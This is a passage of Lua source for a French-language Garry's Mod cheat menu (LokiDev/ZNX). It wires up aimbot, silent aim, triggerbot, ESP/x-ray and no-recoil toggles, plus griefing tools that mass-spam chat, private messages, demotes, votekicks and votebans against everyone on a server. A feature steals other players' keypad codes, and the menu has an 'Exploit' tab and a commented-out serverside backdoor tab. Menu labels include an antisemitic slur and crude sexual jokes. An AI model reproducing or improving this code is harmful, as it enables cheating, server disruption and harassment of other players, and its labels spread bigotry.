  1119. ZNX.MakeKeyBinder(General, 345, 275, 50, 20, "FreecamRight", "CameraLibre Droite" )
  1120. ZNX.MakeKeyBinder(General, 290, 260, 50, 20, "FreecamUp", "CameraLibre Monter" )
  1121. ZNX.MakeKeyBinder(General, 290, 290, 50, 20, "FreecamDown", "CameraLibre Descendre" )
  1122. ZNX.MakeToggleButton( General, 5, 320, "Radar Joueur", "Radar", "Radar afficher joueurs")
  1123. ZNX.MakeSlider( General, 120, 320, 165, "Taille Radar", 50, 600, "RadarSize" )
  1124. ZNX.MakeSlider( General, 290, 320, 165, "Radar Zoom", 10, 150, "RadarZoom" )
  1125. ZNX.MakeSlider( General, 5, 350, 145, "Radar X", 0, ScrW(), "RadarX" )
  1126. ZNX.MakeSlider( General, 155, 350, 145, "Radar Y", 0, ScrH(), "RadarY" )
  1127. ZNX.MakeSlider( General, 305, 350, 150, "Radar Alpha", 0, 255, "RadarAlpha" )
  1128. ZNX.MakeToggleButton( General, 5, 390, "Activer Rayon X", "Xray", "Activer le Rayon X")
  1129. ZNX.MakeToggleButton( General, 120, 390, "Rayon X Joueurs", "XrayPlayers", "Afficher les joueurs sur le X-Ray")
  1130. ZNX.MakeToggleButton( General, 235, 390, "Rayon X Props", "XrayProps", "Afficher les props sur le X-Ray")
  1131. ZNX.MakeToggleButton( General, 350, 390, "Rayon X Entité Menu", "XrayEntfinder", "Afficher l'Entité Menu sur le X-Ray")
  1132. ZNX.MakeToggleButton( General, 5, 420, "Rayon X Couleur Solide", "XraySolid", "Rayon X Couleur Solide")
  1133. ZNX.MakeSlider( General, 5, 450, 455, "Distance de Rayon X Max (Metres)", 0, 2000, "XrayDistance" )
  1134. ZNX.MakeToggleButton( General, 120, 420, "Rayon X Couleur", "NoChamColours", "Rayon X Couleur")
  1135. ZNX.MakeToggleButton( General, 235, 420, "Rayon X Couleur Vive", "PKChams", "Rayon X Couleur Vive")
  1136. ZNX.MakeToggleButton( Utility, 5, 480, "Témoins Détecteur", "WitnessDetector", "Témoins Détecteur")
  1137. ZNX.MakeToggleButton( Utility, 120, 480, "Spectateur Détecteur", "SpectatorDetector", "Spectateur Détecteur")
  1138. ZNX.MakeToggleButton( General, 120, 550, "Crosshair", "Crosshair", "Crosshair")
  1139. ZNX.MakeToggleButton( General, 350, 70, "Afficher 3D BBox", "BoundingBox3d", "Afficher 3D BBox")
  1140. ZNX.MakeToggleButton( General, 235, 490, "HEURE/FPS/PING", "ShowFPS", "Afficher les FPS/PING/HEURE")
  1141. ZNX.MakeFunctionButton( General, 235, 550, "Mur Transparent", function() ZNX.ToggleWraithVision() end)
  1142. ZNX.MakeToggleButton( General, 120, 520, "PK Joueur Faisceau", "PKPlayerBeams", "Propkill Joueur Faisceau")
  1143. ZNX.MakeToggleButton( General, 235, 520, "PK Prop Faisceau", "PKPropBeams", "Propkill Prop Faisceau")
  1144. ZNX.MakeToggleButton( General, 350, 520, "PK Faisceau Verticale", "PKVerticalBeams", "PK Faisceau Verticale")
  1145. ZNX.MakeToggleButton( General, 5, 550, "PK Velocité", "PKVelocity", "Propkill Velocité")
  1146. ZNX.MakeToggleButton( General, 350, 550, "ClientSide Lampe", "CSFlashlight", "ClientSide Lampe")
  1147. ZNX.MakeFunctionButton( Utility, 120, 540, "Vitesse Physics Gun", function() physicgunspeed() end)
  1148. ZNX.MakeFunctionButton( General, 350, 10, "Menu des Joueurs", function() ZNX.PlayerMenu() end)
  1149. ZNX.MakeFunctionButton( General, 120, 10, "Couleur du Menu", function()
  1150. if ZNX.NumberVars.ColorScheme < #ZNX.DefaultSchemes then
  1151. ZNX.NumberVars.ColorScheme = ZNX.NumberVars.ColorScheme + 1
  1152. else
  1153. ZNX.NumberVars.ColorScheme = 1
  1154. end
  1155. ZNX.ChangeColorScheme( ZNX.NumberVars.ColorScheme )
  1156. end)
  1157. ZNX.MakeFunctionButton( General, 235, 10, "Entité Menu", ZNX.EntMarkerMenu )
  1158. ZNX.MakeToggleButton( Utility, 235, 10, "Rapid Fire", "Autoclick", "Rapid Fire", "Faites tirez le bouton de tire votre souris a la vitesse maximale possible en les maintenant enfoncés")
  1159. ZNX.MakeToggleButton( Utility, 120, 10, "Bunny Hop", "Bhop", "Bunny Hop")
  1160. ZNX.MakeToggleButton( Utility, 350, 10, "Spam de corde", "RopeStorm", "Spam de corde", "Clic droit avec le tool corde pour spammer une masse de cordes")
  1161. ZNX.MakeToggleButton( Utility, 5, 40, "3ème Personne", "Thirdperson", "3ème Personne")
  1162. --ZNX.MakeToggleButton( Utility, 5, 120, "Camera Spam", "CameraSpam", "Camera Spam")
  1163. ZNX.MakeToggleButton( Utility, 120, 150, "Anti Recul", "NoRecoil", "Anti Recul", "Enleve le recul des armes")
  1164. ZNX.MakeToggleButton( Utility, 235, 150, "Lampe Spam", "FlashlightSpam", "Lampe Spam", "Appuyez sur F pour spam la lampe")
  1165. ZNX.MakeSlider( Utility, 120, 40, 160, "3Pers Dist...", 0, 1000, "TPSDistance" )
  1166. ZNX.MakeSlider( Utility, 285, 40, 175, "3Pers Offs...", -100, 100, "TPSOffset" )
  1167. ZNX.MakeSlider( Utility, 235, 450, 225, "Taille de l'Alarme", 1, 100, "AreaScrollerSize" )
  1168. ZNX.MakeFunctionButton( Utility, 5, 150, "Inspectez votre arme", ZNX.GunMenu, "Afficher une page d'informations sur l'arme dans vos mains" )
  1169. ZNX.MakeFunctionButton( Utility, 120, 180, "Scanneur d'entité", ZNX.ToggleEntityScanner, "Obtenez des informations détaillées et effectuez facilement des actions sur les entités sous votre curseur (utilisez F3 pour cliquer sur les boutons !!)" )
  1170. ZNX.MakeToggleButton( Utility, 350, 150, "Notifier les Kills", "NotifyKills", "Notifier les Kills", "Affiche les Kills dans le Chat")
  1171. --ZNX.Vars.NotifyKills
  1172. ZNX.MakeToggleButton( Utility, 5, 210, "Spammer le Chat", "ChatSpam", "Spammer le Chat", "Spam le chat")
  1173. ZNX.MakeToggleButton( Utility, 120, 210, "Spammer en OOC", "ChatSpamOOC", "Spammer en OOC", "Automatiquement mettre votre chat spam en mode OOC dans darkrp et la plupart des autres gamemodes rp")
  1174. ZNX.MakeToggleButton( Utility, 235, 210, "Bind pour Spammer", "ChatSpamBind", "Bind pour Spammer", "Chatspam seulement lorsque vous appuyez sur alt gauche")
  1175. --ZNX.MakeToggleButton( Utility, 350, 210, "Random Insults", "ChatSpamInsult", "Chatspam Random Insults", "Shower randomly generated abuse on everybody")
  1176. ZNX.MakeToggleButton( Utility, 350, 180, "/PM Mode", "ChatSpamPM", "/PM Spam Mode", "Spams /pm messages a tout le monde sur le serveur")
  1177. ZNX.MakeToggleButton( Utility, 350, 210, "/PM Admins", "ChatSpamPMAdmins", "/PM Spam Admins", "Devrions-nous /pm spam les admins ?")
  1178. ZNX.MakeFunctionButton( Utility, 235, 180, "Chatspam Commande", function()
  1179. ZNX.ChatText( "Commande Chatspam afficher dans votre console", Color(255,255,255) )
  1180. print( "---- CHAT SPAMMER COMMANDE ----" )
  1181. print( "@1 = Insulte aléatoire" )
  1182. print( "@PrenezLokidev = Message de promotion pour le menu ^^" )
  1183. print( "METTEZ-LES DANS LE CHAMP DE TEXTE CHATSPAMMER ET ILS SERONT FORMATÉS AUTOMATIQUEMENT EN TEXTE GÉNÉRALEMENT ALÉATOIRE")
  1184. end, "HALP HOW I USE DIS" )
  1185. ZNX.MakeFunctionButton( Utility, 5, 300, "Nouvelle Identité", ZNX.InnocentRoleplayer, "Vous avez vu faire quelque chose de sournois, maintenant il est temps d'obtenir une nouvelle identité\nSuicide et randomise votre nom, votre emploi et vos couleurs" )
  1186. ZNX.MakeFunctionButton( Utility, 235, 90, "NomRP Aleatoire ♂", ZNX.GenerateRPName, "Comme vous avez la flemme de crée un bon rpname, cette fonction en produira un aléatoire pour vous" )
  1187. ZNX.MakeFunctionButton( Utility, 350, 90, "NomRP Aleatoire ♀", ZNX.GenerateRPNameFemale, "Tu veux devenir une fille pour que tu puisses prendre des bites dans ton cul ? x)" )
  1188. ZNX.MakeToggleButton( Utility, 5, 330, "RP Demote Spam", "DemoteSpam", "RP Demote Spam", "Spam demote tout le monde sur le serveur")
  1189. ZNX.MakeToggleButton( Utility, 120, 300, "RP Wanted Spam", "WantedSpam", "RP Wanted Spam", "Rendez tout le monde recherché par la police")
  1190. ZNX.MakeToggleButton( Utility, 235, 300, "ULX Vkick Spam", "ULXVotekickSpam", "ULX Vkick Spam", "Votekick tout le monde sur le serveur :^)")
  1191. ZNX.MakeToggleButton( Utility, 350, 300, "ULX Vban Spam", "ULXVotebanSpam", "ULX Vban Spam", "Voteban tout le monde sur le serveur :^)")
  1192. ZNX.MakeFunctionButton( Utility, 5, 10, "Commande Info Menu", function() ShowLokidevInfo () end, "Commande Info Menu")
  1193. ZNX.MakeToggleButton( Utility, 120, 330, "Kill Provocation", "KillTaunts", "Kill Provocation", "Chat provocation automatique quand vous tuez quelqu'un")
  1194. ZNX.MakeToggleButton( Utility, 5, 180, "Tire Ennemi Viseur", "Triggerbot", "Tire Ennemi Viseur", "Tirez automatiquement lorsque vous regardez quelqu'un")
  1195. ZNX.MakeToggleButton( Utility, 235, 330, "Mort Provocation", "DeathTaunts", "Mort Provocation", "Chat provocation automatique quand vous mourrez")
  1196. ZNX.MakeFunctionButton( Utility, 5, 450, "Ajouter une Alarme", function() RunConsoleCommand("LokiDev_base_set") end, "Définir une base pour vous avertir si les gens s'en approchent" )
  1197. ZNX.MakeFunctionButton( Utility, 120, 450, "Enlever l'Alarme", function() RunConsoleCommand("LokiDev_base_remove") end, "Supprimer la base" )
  1198. ZNX.MakeToggleButton( Utility, 350, 330, "Keypad Juif", "KeypadJew", "Keypad Juif", "Voler les codes des keypads des joueurs pour rentrer dans leur base")
  1199. ZNX.MakeToggleButton( Utility, 5, 420, "RP Anti Arrestation", "DodgeArrest", "RP Anti Arrestation", "Se suicide automatiquement si quelqu'un essaie de vous frapper avec un bâton d'arrestation")
  1200. ZNX.MakeToggleButton( Utility, 120, 420, "Mort = Changer Nom", "NewLifeRule", "Mort = Changer Nom", "Changer automatiquement de nomrp quand vous mourrez")
  1201. --ZNX.MakeToggleButton( Utility, 235, 420, "Dodge Physgun", "DontTouchMeThere", "Suicide When PhysGunned", "Don't touch me there, that's my private place")
  1202. ZNX.MakeFunctionButton( Utility, 235, 420, "Anti Anti-AFK", function() RunConsoleCommand("fgtnoafk") end, "Anti Anti-AFK")
  1203. ZNX.MakeFunctionButton( Utility, 350, 420, "Clientside NoClip", function() ZNX.Toggle() end, "Clientside NoClip")
  1204. ZNX.MakeFunctionButton( Utility, 5, 540, "FPS Booster", function() StopLAG() end, "FPS Booster")
  1205. ZNX.MakeToggleButton( Utility, 350, 570, "Rechargement Auto", "AutoReload", "Rechargement Auto", "Rechargement Automatique")
  1206. --[[ZNX.MakeToggleButton( Utility, 235, 570, "Anti Chute Dégât", "SafeJump", "Anti Chute Dégât", "System qui fait spawn un props a vos pied des que vous etes proche du sol\nUtilisé Touche pour Anti Chute Dégât + activé moi ")
  1207. local ttttt = vgui.Create( "DLabel", Utility )
  1208. ttttt:SetPos( 16, 568 )
  1209. ttttt:SetText( "Touche pour \nAnti Chute Dégât :" )
  1210. ttttt:SizeToContents()
  1211. ZNX.MakeKeyBinder( Utility, 120, 570, 110, 25, "SafeJumpBindKey", "falldamage" )--]]
  1212. ZNX.MakeToggleButton( Botsettings, 5, 10, "Aimbot Normal", "Aimbot", "Aimbot Normal", "Activé / Désactivé le Aimbot Normal\nQuand le Aimbot Normal et activé l'ancien aimbot se désactive tout seul !!!")
  1213. ZNX.MakeToggleButton( Botsettings, 120, 40, "Aimbot quand tu Tire", "SnapOnFire", "Aimbot quand tu Tire", "Active le aimbot quand tu appuye sur tiré")
  1214. ZNX.MakeToggleButton( Botsettings, 5, 40, "Tire Automatique", "AutoShoot", "Tire Automatique", "Votre aimbot fait maintenant tout le travail pour vous, vous pouvez maintenant afk et vous masturber x)")
  1215. --ZNX.MakeToggleButton( Botsettings, 350, 70, "Rapid Fire", "AutoTrigger", "Rapid Fire", "Spams the trigger on semi auto weapons when locked on and holding left click")
  1216. ZNX.MakeToggleButton( Botsettings, 235, 220, "Touche Aimbot", "AimbotBindMode", "Touche Aimbot", "Active le aimbot quand la touche et présser je conseil de l'activé pour etre plus legit")
  1217. ZNX.MakeToggleButton( Botsettings, 235, 40, "M9K Travers Mur", "AimbotWallbanger", "M9K Travers Mur", "Aimbot les joueurs si le pistolet actuel est capable de pénétrer dans le mur / l'objet qu'ils sont caché derrière")
  1218. ZNX.MakeToggleButton( Botsettings, 235, 10, "Afficher Position Cible", "PreviewTarget", "Afficher Position Cible", "Affiche la position actuelle / suivante sur laquelle le aimbot se verrouille")
  1219. ZNX.MakeToggleButton( Botsettings, 350, 10, "Pas de Propagation", "CompSpread", "Pas de Propagation", "Fonctionne avec m9k, hl2, ttt, et quelques autres bases d'armes simples. Ne fonctionne pas avec fas2 ou cw2 !!")
  1220. ZNX.MakeToggleButton( Botsettings, 350, 40, "Silent Aim", "SilentAim", "Silent Aim", "Alors, le silent aim c'est un system qui permet de pouvoir aimbot des joueurs meme quand vous les regarder pas,\nAbusé avec un fov de 180, je conseil de mettre un fv pas trop élever genre 20-40")
  1221. ZNX.MakeToggleButton( Botsettings, 235, 70, "Ciblage Adaptatif", "AimbotAdaptiveTarget", "Ciblage Adaptatif", "Tirez sur n'importe quelle partie de leur corps qui est exposée, pas seulement leur tête.\nTotalement abusé lorsqu'il est associé a Pas de Propagation et M9K Travers Mur")
  1222. ZNX.MakeToggleButton( Botsettings, 5, 160, "Cibler les Amis", "TargetFriends", "Cibler les Amis", "Voulez-vous vraiment trahir vos amis comme ça? :(")
  1223. ZNX.MakeToggleButton( Botsettings, 120, 160, "Cibler les Admins", "TargetAdmins", "Cibler les Admins", "Fait pleurer qu'elle que admins lol")
  1224. ZNX.MakeToggleButton( Botsettings, 235, 160, "Cibler même Équipe", "TargetSameTeam", "Cibler même Équipe", "Voulez-vous trahir votre équipe?")
  1225. ZNX.MakeToggleButton( Botsettings, 350, 160, "Cibler que les Cibles", "TargetHighlighted", "Cibler que les Cibles", "Pour tué les cibles seulement")
  1226. ZNX.MakeToggleButton( Botsettings, 120, 190, "Cibler les Noclippeurs", "TargetNoclippers", "Cibler les Noclippeurs", "Vous ne pouvez généralement pas les tuer de toute façon, alors pourquoi s'embêter?")
  1227. ZNX.MakeToggleButton( Botsettings, 5, 190, "Préférez Tire Tete", "AimbotTargetMode", "Préférez Tire Tete", "Ciblez les têtes ou allez directement au centre ?")
  1228. ZNX.MakeToggleButton( Botsettings, 235, 190, "Maintenir la Cible", "AimbotStickyLock", "Maintenir la Cible", "Aimbot ne changera pas de cible tant que la cible actuelle n'est pas morte ou n'est plus visible sur votre fov")
  1229. ZNX.MakeToggleButton( Botsettings, 350, 190, "Cibler que le Murder", "TargetMurder", "Cibler que le Murder", "Cibler uniquement le murder?\nFonctionne uniquement dans le gamemode murder!!!!")
  1230. ZNX.MakeFunctionButton( Botsettings, 120, 10, "Ancien Aimbot", function() AA:OpenMenu() end, "L'ancien aimbot fonctionne mieux sur l'arme Crossbow sinon pour toutes les autre armes le Aimbot normal est largement mieux !")
  1231. local tttt = vgui.Create( "DLabel", Botsettings )
  1232. tttt:SetPos( 15, 225 )
  1233. tttt:SetText( "Touche du Aimbot:" )
  1234. tttt:SizeToContents()
  1235. ZNX.MakeKeyBinder( Botsettings, 120, 220, 110, 25, "AimbotBindKey", "aimbot" )
  1236. ZNX.MakeSlider( Botsettings, 5, 70, 225, "Vitesse de Visée", 0, 30, "AimbotSmooth" )
  1237. ZNX.MakeSlider( Botsettings, 5, 100, 225, "Distance Maximum", 0, 9999, "AimbotDist" )
  1238. ZNX.MakeSlider( Botsettings, 235, 100, 225, "Champ de Vision", 0.1, 180, "AimbotMaxFOV" )
  1239. local TextEntry = vgui.Create( "DTextEntry", Utility )
  1240. TextEntry:SetPos( 5, 90 )
  1241. TextEntry:SetSize( 225, 25 )
  1242. TextEntry:SetText( ZNX.NameStealName )
  1243. TextEntry.OnEnter = function( self )
  1244. ZNX.NameStealName = self:GetValue()
  1245. timer.Simple(1,function() LocalPlayer():ConCommand("say /rpname "..self:GetValue().." ") end)
  1246. if ZNX.Vars.Notifications then ZNX.ChatText( "Set my name to: "..self:GetValue(), Color(255,255,255) ) end
  1247. end
  1248. local TextEntry = vgui.Create( "DTextEntry", Utility )
  1249. TextEntry:SetPos( 5, 240 )
  1250. TextEntry:SetSize( 450, 25 )
  1251. TextEntry:SetText( ZNX.ChatSpamText )
  1252. TextEntry.OnEnter = function( self )
  1253. ZNX.ChatSpamText = self:GetValue()
  1254. if ZNX.Vars.Notifications then ZNX.ChatText( "Message de chatspam défini sur: "..self:GetValue(), Color(255,255,255) ) end
  1255. end
  1256. ZNX.MakeFunctionButton( Debug, 5, AceMenu:GetTall() - 110, "Effacer la Console", function() table.Empty(ZNX.Debug) end)
  1257. ZNX.MakeFunctionButton( Debug, 120, AceMenu:GetTall() - 110, "Ajouter le Serveur", function() ZNX.AddServer() end)
  1258. ZNX.MakeFunctionButton( Debug, 235, AceMenu:GetTall() - 110, "Afficher Serveur(s)", function() ZNX.LoadServeur() end)
  1259. ZNX.MakeFunctionButton( Debug, 350, AceMenu:GetTall() - 110, "Supprimer Serveur(s)", function() ZNX.DeleteServeur() end)
  1260. --ZNX.MakeFunctionButton( Debug, 235, Menu:GetTall() - 110, "Game Event Logging", function() end)
  1261. --ZNX.MakeFunctionButton( Debug, 350, Menu:GetTall() - 110, "Extensive Logging", function() end)
  1262. PropertySheet:AddSheet( "ESP", General, "icon16/zoom.png", false, false, "ESP/Xray/HUD" )
  1263. --PropertySheet:AddSheet( "Vision Advanced", General2, "icon16/zoom_in.png", false, false, "ESP/Xray/HUD settings" )
  1264. PropertySheet:AddSheet( "Utilitaire", Utility, "icon16/wrench.png", false, false, "Outils et utilitaires" )
  1265. PropertySheet:AddSheet( "Aimbot", Botsettings, "icon16/bomb.png", false, false, "Paramétre Aimbot" )
  1266. PropertySheet:AddSheet( "Exploit", Exploit, "icon16/bug.png", false, false, "Lua Exploit" )
  1267. --PropertySheet:AddSheet( "Backdoor", Backdoor, "icon16/door_in.png", false, false, "Control panel for the Wraithnet/HTX serverside backdoor" )
  1268. PropertySheet:AddSheet( "Debug", Debug, "icon16/printer.png", false, false, "Debug Console" )
  1269. LocalPlayer():EmitSound("common/warning.wav",500,100)
  1270. LocalPlayer():EmitSound("common/warning.wav",500,100)
  1271. LocalPlayer():EmitSound("common/warning.wav",500,100)
  1272. LocalPlayer():EmitSound("common/warning.wav",500,100)
  1273. LocalPlayer():EmitSound("common/warning.wav",500,100)
  1274. LocalPlayer():EmitSound("common/warning.wav",500,100)
  1275. LocalPlayer():EmitSound("common/warning.wav",500,100)
  1276. return end
  1277. concommand.Add("LokiDevs_Menu", ZNX.Menu)
  1278. ------------------------------------------------------------------------DEBUG CONSOLE SHIT--------------------------------------------------------------------------------------
  1279. function ZNX.DebugLog( str, col )
  1280. table.insert(ZNX.Debug, {str, col})
  1281. if #ZNX.Debug > 40 then
  1282. table.remove( ZNX.Debug, 1 )
  1283. end
  1284. end
  1285. ------------------------------------------------------------------------ENT MARKER MENU--------------------------------------------------------------------------------------
  1286. -- Simple Anti AFK Script / Load before it bug
  1287. local oneTwo = false
  1288. local preventAfk = false
  1289. local function moveAround()
  1290. if oneTwo then
  1291. RunConsoleCommand( "+forward" )
  1292. RunConsoleCommand( "+right" )
  1293. timer.Simple( 0.5, function()
  1294. RunConsoleCommand( "-forward" )
  1295. RunConsoleCommand( "-right" )
  1296. LocalPlayer():SetEyeAngles(LocalPlayer():EyeAngles() + Angle(math.Rand(-20,20),math.Rand(-180,180),0))
  1297. oneTwo = !oneTwo
  1298. end )
  1299. else
  1300. RunConsoleCommand( "+back" )
  1301. RunConsoleCommand( "+left" )
  1302. timer.Simple( 0.5, function()
  1303. RunConsoleCommand( "-back" )
  1304. RunConsoleCommand( "-left" )
  1305. oneTwo = !oneTwo
  1306. end )
  1307. end
  1308. end
  1309. local function runLoop()
  1310. if preventAfk then moveAround() end
  1311. timer.Simple( 1, runLoop )
  1312. end
  1313. timer.Simple( 1, runLoop )
  1314. concommand.Add( "fgtnoafk", function( ply, cmd, args )
  1315. preventAfk = !preventAfk
  1316. end )
  1317. local OtherEnts = {}
  1318. function ZNX.EntMarkerMenu()
  1319. if EMenu then return end
  1320. table.Empty(OtherEnts)
  1321. for k,v in pairs(ents.GetAll()) do
  1322. local addToAllEnts = true
  1323. for i,p in pairs(ZNX.MarkedEnts) do
  1324. if p == v:GetClass() then
  1325. addToAllEnts = false
  1326. end
  1327. end
  1328. for i,p in pairs(OtherEnts) do
  1329. if p == v:GetClass() then
  1330. addToAllEnts = false
  1331. end
  1332. end
  1333. if addToAllEnts then
  1334. table.insert(OtherEnts, v:GetClass())
  1335. end
  1336. end
  1337. local EMenu = vgui.Create("DFrame")
  1338. EMenu:SetSize(500,485)
  1339. EMenu:SetTitle("Entité Menu")
  1340. EMenu:Center()
  1341. EMenu:MakePopup()
  1342. EMenu.Paint = function()
  1343. surface.SetDrawColor( ZNX.DefaultScheme )
  1344. surface.DrawRect( 0, 0, EMenu:GetWide(), EMenu:GetTall() )
  1345. surface.SetDrawColor( Color(155, 155, 155, 255) )
  1346. surface.DrawOutlinedRect( 0, 0, EMenu:GetWide(), EMenu:GetTall() )
  1347. surface.DrawOutlinedRect( 1, 1, EMenu:GetWide() - 2, EMenu:GetTall() - 2 )
  1348. surface.SetDrawColor( Color(0, 0, 0, 200) )
  1349. surface.DrawRect( 10, 25, EMenu:GetWide() - 20, EMenu:GetTall() - 35 )
  1350. end
  1351. DermaList = vgui.Create( "DPanelList", EMenu )
  1352. DermaList:SetPos( 25,35 )
  1353. DermaList:SetSize( 500, 400 )
  1354. DermaList:SetSpacing( 75 )
  1355. DermaList:EnableHorizontal( false )
  1356. DermaList:EnableVerticalScrollbar( true )
  1357. local SelectedEnts = vgui.Create("DListView")
  1358. SelectedEnts:SetSize(220, 335)
  1359. SelectedEnts:SetPos(0, 0)
  1360. SelectedEnts:SetMultiSelect(false)
  1361. SelectedEnts:AddColumn("Entité afficher dans ESP")
  1362. for k,v in SortedPairs(ZNX.MarkedEnts, false) do
  1363. SelectedEnts:AddLine(v)
  1364. end
  1365. SelectedEnts.DoDoubleClick = function(parent, index, list)
  1366. table.remove(ZNX.MarkedEnts, index)
  1367. EMenu:rebuildlists()
  1368. end
  1369. DermaList:Add(SelectedEnts)
  1370. local AllEnts = vgui.Create("DListView")
  1371. AllEnts:SetSize(220, 335)
  1372. AllEnts:SetPos(230, 0)
  1373. AllEnts:SetMultiSelect(false)
  1374. AllEnts:AddColumn("Entité non afficher dans ESP")
  1375. for k,v in SortedPairs(OtherEnts, false) do
  1376. AllEnts:AddLine(v)
  1377. end
  1378. AllEnts.DoDoubleClick = function(parent, index, panel )
  1379. table.insert(ZNX.MarkedEnts, OtherEnts[index])
  1380. EMenu:rebuildlists()
  1381. end
  1382. DermaList:Add(AllEnts)
  1383. function EMenu:rebuildlists()
  1384. table.Empty(OtherEnts)
  1385. for k,v in pairs(ents.GetAll()) do
  1386. local addToAllEnts = true
  1387. for i,p in pairs(ZNX.MarkedEnts) do
  1388. if p == v:GetClass() then
  1389. addToAllEnts = false
  1390. end
  1391. end
  1392. for i,p in pairs(OtherEnts) do
  1393. if p == v:GetClass() then
  1394. addToAllEnts = false
  1395. end
  1396. end
  1397. if addToAllEnts then
  1398. table.insert(OtherEnts, v:GetClass())
  1399. end
  1400. end
  1401. AllEnts:Clear()
  1402. SelectedEnts:Clear()
  1403. for k,v in SortedPairs(OtherEnts, false) do
  1404. AllEnts:AddLine( v )
  1405. end
  1406. for k,v in SortedPairs(ZNX.MarkedEnts, false) do
  1407. SelectedEnts:AddLine( v )
  1408. end
  1409. end
  1410. ZNX.MakeFunctionButton( EMenu, 25, 380, "Ajouter les Printers", function()
  1411. for k,v in pairs(ents.GetAll()) do
  1412. if string.find(v:GetClass(), "custom_printer") or string.find(v:GetClass(), "rprint") or string.find(v:GetClass(), "bit_miner") or string.find(v:GetClass(), "*_printer") or string.find(v:GetClass(), "print") or string.find(v:GetClass(), "br_money") or string.find(v:GetClass(), "*_money") or string.find(v:GetClass(), "adrug_weed") or string.find(v:GetClass(), "cox_cocaine") or string.find(v:GetClass(), "*_money_printer") or string.find(v:GetClass(), "*_money") or string.find(v:GetClass(), "atila_argent_sale") or string.find(v:GetClass(), "atila_farine_cultivateur") or string.find(v:GetClass(), "rein_kidney") or string.find(v:GetClass(), "atila_machine_blanchisseur") or string.find(v:GetClass(), "*_printer_*") and !table.HasValue(ZNX.MarkedEnts, v:GetClass()) then
  1413. table.insert(ZNX.MarkedEnts, v:GetClass())
  1414. end
  1415. end
  1416. EMenu:rebuildlists()
  1417. end, "Trouve tout ce qui ressemble a un printer")
  1418. ZNX.MakeFunctionButton( EMenu, 140, 380, "Ajouter les Armes", function()
  1419. for k,v in pairs(ents.GetAll()) do
  1420. if (string.find(v:GetClass(), "weap") or string.find(v:GetClass(), "fas2") or string.find(v:GetClass(), "m9k") or string.find(v:GetClass(), "cw")) and !table.HasValue(ZNX.MarkedEnts, v:GetClass()) then
  1421. table.insert(ZNX.MarkedEnts, v:GetClass())
  1422. end
  1423. end
  1424. EMenu:rebuildlists()
  1425. end, "Trouve tout ce qui ressemble a des armes")
  1426. ZNX.MakeFunctionButton( EMenu, 255, 380, "Ajouter les Vehicles", function()
  1427. for k,v in pairs(ents.GetAll()) do
  1428. if v:IsVehicle() and !table.HasValue(ZNX.MarkedEnts, v:GetClass()) then
  1429. table.insert(ZNX.MarkedEnts, v:GetClass())
  1430. end
  1431. end
  1432. EMenu:rebuildlists()
  1433. end, "Trouve tout ce qui ressemble a des vehicles")
  1434. ZNX.MakeFunctionButton( EMenu, 370, 380, "Ajouter les Loots", function()
  1435. for k,v in pairs(ents.GetAll()) do
  1436. if (string.find(v:GetClass(), "item") or string.find(v:GetClass(), "loot")) and !table.HasValue(ZNX.MarkedEnts, v:GetClass()) then
  1437. table.insert(ZNX.MarkedEnts, v:GetClass())
  1438. end
  1439. end
  1440. EMenu:rebuildlists()
  1441. end, "Trouve tout ce qui ressemble a des loots / items (utile pour gmod dayz)")
  1442. ZNX.MakeFunctionButton( EMenu, 25, 410, "DarkRP Entités", function()
  1443. for k,v in pairs(ents.GetAll()) do
  1444. if v:GetClass() == "spawned_shipment" or v:GetClass() == "spawned_money" or v:GetClass() == "spawned_weapon" or v:GetClass() == "police_armory" or v:GetClass() == "spawned_ammo" or v:GetClass() == "spawned_food" and !table.HasValue(ZNX.MarkedEnts, v:GetClass()) then
  1445. table.insert(ZNX.MarkedEnts, v:GetClass() )
  1446. end
  1447. end
  1448. EMenu:rebuildlists()
  1449. end, "Trouve tout ce qui ressemble a des entités DarkRP (armes, argent, shipments etc)")
  1450. ZNX.MakeFunctionButton( EMenu, 370, 410, "Effacer la liste", function()
  1451. ZNX.MarkedEnts = {}
  1452. EMenu:rebuildlists()
  1453. end, "Effacer la liste des entités afficher")
  1454. local turd = vgui.Create( "DLabel", EMenu )
  1455. turd:SetPos( 25, 447 )
  1456. turd:SetText( "Recherche classes : " )
  1457. turd:SizeToContents()
  1458. local target4 = vgui.Create( "DTextEntry", EMenu )
  1459. target4:SetPos( 125, 442 )
  1460. target4:SetSize( 255, 25 )
  1461. target4:SetText( "" )
  1462. target4.OnChange = function( self )
  1463. local nam = self:GetValue()
  1464. if nam == "" then
  1465. ZNX.MarkedEnts = {}
  1466. EMenu:rebuildlists()
  1467. return
  1468. end
  1469. local namtab = string.Explode( ", ", nam )
  1470. ZNX.MarkedEnts = {}
  1471. for _, en in pairs( ents.GetAll() ) do
  1472. for _, s in pairs( namtab ) do
  1473. if string.find( string.lower( en:GetClass() ), s, 1, true ) then
  1474. if !table.HasValue( ZNX.MarkedEnts, en:GetClass() ) then table.insert( ZNX.MarkedEnts, en:GetClass() ) end
  1475. end
  1476. end
  1477. end
  1478. EMenu:rebuildlists()
  1479. end
  1480. end
  1481. concommand.Add("LokiDev_ents", ZNX.EntMarkerMenu)
  1482. ------------------------------------------------------------------------PLAYERS MENU--------------------------------------------------------------------------------------
  1483. function ZNX.PlayerMenu()
  1484. if PMenu then return end
  1485. local PMenu = vgui.Create("DFrame")
  1486. PMenu:SetSize(590,420)
  1487. PMenu:SetTitle("Players menu")
  1488. PMenu:Center()
  1489. PMenu:MakePopup()
  1490. PMenu.Paint = function()
  1491. surface.SetDrawColor( ZNX.DefaultScheme )
  1492. surface.DrawRect( 0, 0, PMenu:GetWide(), PMenu:GetTall() )
  1493. surface.SetDrawColor( Color(155, 155, 155, 255) )
  1494. surface.DrawOutlinedRect( 0, 0, PMenu:GetWide(), PMenu:GetTall() )
  1495. surface.DrawOutlinedRect( 1, 1, PMenu:GetWide() - 2, PMenu:GetTall() - 2 )
  1496. surface.SetDrawColor( Color(0, 0, 0, 200) )
  1497. surface.DrawRect( 10, 25, PMenu:GetWide() - 20, PMenu:GetTall() - 35 )
  1498. end
  1499. local Plist = vgui.Create( "DPanelList", PMenu )
  1500. Plist:SetSize( 560, 370 )
  1501. Plist:SetPadding( 5 )
  1502. Plist:SetSpacing( 5 )
  1503. Plist:EnableHorizontal( false )
  1504. Plist:EnableVerticalScrollbar( true )
  1505. Plist:SetPos( 10, 25 )
  1506. Plist:SetName( "" )
  1507. for k, v in pairs( player.GetAll() ) do
  1508. if v == LocalPlayer() then continue end
  1509. local plypanel2 = vgui.Create( "DPanel" )
  1510. plypanel2:SetPos( 0, 0 )
  1511. plypanel2:SetSize( 480, 40 )
